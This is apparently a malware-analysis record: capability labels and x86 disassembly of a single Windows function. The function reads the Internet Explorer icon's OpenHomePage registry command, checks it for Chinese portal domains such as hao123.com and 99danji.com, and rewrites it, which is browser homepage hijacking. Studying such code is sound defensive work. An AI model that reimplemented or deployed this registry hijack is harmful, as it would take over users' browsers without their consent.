Function at 0x401f30
Capabilities:
Query or enumerate registry value
Set registry value

Disassembly:
push 0xffffffffffffffff
push 0x42a008
mov eax, dword fs:[0]
push eax
sub esp, 0x20
push esi
mov eax, dword [0x435ca4]
xor eax, esp
push eax
lea eax, [esp + 0x28]
mov dword fs:[0], eax
push 0xff
mov dword [esp + 0x14], 0
mov dword [esp + 0x18], 1
call fcn.00404248
add esp, 4
mov esi, eax
lea eax, [esp + 0x10]
push eax
push 0xf003f
push 0
push str.CLSID871C5380_42A0_1069_A2EA_08002B30309D_shellOpenHomePageCommand_
push 0x80000000
mov dword [esp + 0x2c], 0xff
call dword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
je 0x401fae
xor eax, eax
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x2c
ret
mov eax, dword [esp + 0x10]
lea ecx, [esp + 0x18]
push ecx
push esi
lea edx, [esp + 0x1c]
push edx
push 0
push 0
push eax
call dword [sym.imp.ADVAPI32.dll_RegQueryValueExA]
test eax, eax
jne 0x401f9b
lea ecx, [esp + 8]
push ecx
call fcn.00402450
push esi
mov dword [esp + 0x34], 0
call fcn.00404253
add esp, 4
push 0x42f677
lea ecx, [esp + 0x10]
call fcn.00402ea0
lea edx, [esp + 0x1c]
push edx
mov byte [esp + 0x34], 1
call fcn.00403e80
mov esi, dword [eax]
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
add esp, 4
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402029
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
test esi, esi
je 0x40206e
lea ecx, [esp + 0x1c]
push ecx
call fcn.00403e80
add esp, 4
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x34], 2
call fcn.004031d0
mov byte [esp + 0x30], 1
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x40206e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 0xc]
push 0x42f677
push ecx
call fcn.0041599c
add esp, 8
test eax, eax
setne al
test al, al
je 0x4021f9
lea edx, [esp + 0xc]
push edx
lea eax, [esp + 0x24]
push 0x42f504
push eax
call fcn.004026f0
push 0x42f504
push eax
lea ecx, [esp + 0x30]
push ecx
mov byte [esp + 0x48], 3
call fcn.00402610
add esp, 0x18
push eax
lea ecx, [esp + 0x10]
mov byte [esp + 0x34], 4
call fcn.004031d0
mov byte [esp + 0x30], 3
mov eax, dword [esp + 0x1c]
add eax, 0xfffffff0
lea edx, [eax + 0xc]
or ecx, 0xffffffff
lock xadd dword [edx], ecx
dec ecx
test ecx, ecx
jg 0x4020ed
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov byte [esp + 0x30], 1
mov eax, dword [esp + 0x20]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402112
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov ecx, dword [esp + 8]
mov edx, dword [esp + 0xc]
push ecx
push edx
call fcn.00415633
add esp, 8
test eax, eax
je 0x40231e
mov eax, dword [esp + 8]
push str.baidu.com
push eax
call fcn.00415300
add esp, 8
test eax, eax
je 0x402164
mov ecx, dword [esp + 0x10]
push ecx
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
lea ecx, [esp + 0xc]
call fcn.00403280
lea ecx, [esp + 8]
call fcn.00403280
jmp 0x402376
mov edx, dword [esp + 8]
push str.hao123.com
push edx
call fcn.00415300
add esp, 8
test eax, eax
je 0x402181
mov eax, dword [esp + 0x10]
push eax
jmp 0x402147
mov ecx, dword [esp + 8]
push str.hao111.com
push ecx
call fcn.00415300
add esp, 8
test eax, eax
je 0x40219e
mov edx, dword [esp + 0x10]
push edx
jmp 0x402147
mov eax, dword [esp + 8]
push str.7556.com
push eax
call fcn.00415300
add esp, 8
test eax, eax
jne 0x402142
mov edx, dword [esp + 8]
push str.99danji.com
push edx
call fcn.00415300
add esp, 8
test eax, eax
jne 0x40217a
push ecx
lea edx, [esp + 0x10]
mov ecx, esp
mov dword [esp + 0x24], esp
push edx
call fcn.00403340
call fcn.00402390
mov ecx, dword [esp + 0x10]
push 0xff
push eax
mov eax, dword [esp + 0x1c]
push eax
push 0
push 0
push ecx
jmp 0x402318
mov edx, dword [esp + 8]
push 0x42f508
push edx
call fcn.00415300
add esp, 8
test eax, eax
je 0x40231e
mov eax, dword [esp + 8]
push str.baidu.com
push eax
call fcn.00415300
add esp, 8
test eax, eax
jne 0x402142
mov edx, dword [esp + 8]
push str.hao123.com
push edx
call fcn.00415300
add esp, 8
test eax, eax
jne 0x40217a
mov ecx, dword [esp + 8]
push str.hao111.com
push ecx
call fcn.00415300
add esp, 8
test eax, eax
jne 0x402197
mov eax, dword [esp + 8]
push str.7556.com
push eax
call fcn.00415300
add esp, 8
test eax, eax
jne 0x402142
mov edx, dword [esp + 8]
push str.99danji.com
push edx
call fcn.00415300
add esp, 8
test eax, eax
jne 0x40217a
mov ecx, str.Internet_Explorer
lea esi, [esp + 8]
call fcn.004024e0
test eax, eax
je 0x40231e
push eax
lea ecx, [esp + 0x20]
push ecx
mov ecx, esi
call fcn.00402590
push str.Internet_ExplorerIEXPLORE.EXE_
push eax
lea edx, [esp + 0x28]
push edx
mov byte [esp + 0x3c], 5
call fcn.00402610
add esp, 0xc
push eax
mov ecx, esi
mov byte [esp + 0x34], 6
call fcn.004031d0
lea ecx, [esp + 0x20]
call fcn.00403280
lea ecx, [esp + 0x1c]
mov byte [esp + 0x30], 1
call fcn.00403280
push ecx
mov eax, esi
mov ecx, esp
mov dword [esp + 0x28], esp
push eax
call fcn.00403340
call fcn.00402390
mov ecx, dword [esp + 0x14]
mov edx, dword [esp + 0x10]
push 0xff
push eax
push ecx
push 0
push 0
push edx
call dword [sym.imp.ADVAPI32.dll_RegSetValueExA]
mov eax, dword [esp + 0x10]
push eax
call dword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov byte [esp + 0x30], 0
mov eax, dword [esp + 0xc]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x40234e
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov dword [esp + 0x30], 0xffffffff
mov eax, dword [esp + 8]
add eax, 0xfffffff0
lea ecx, [eax + 0xc]
or edx, 0xffffffff
lock xadd dword [ecx], edx
dec edx
test edx, edx
jg 0x402376
mov ecx, dword [eax]
mov edx, dword [ecx]
push eax
mov eax, dword [edx + 4]
call eax
mov eax, 1
mov ecx, dword [esp + 0x28]
mov dword fs:[0], ecx
pop ecx
pop esi
add esp, 0x2c
ret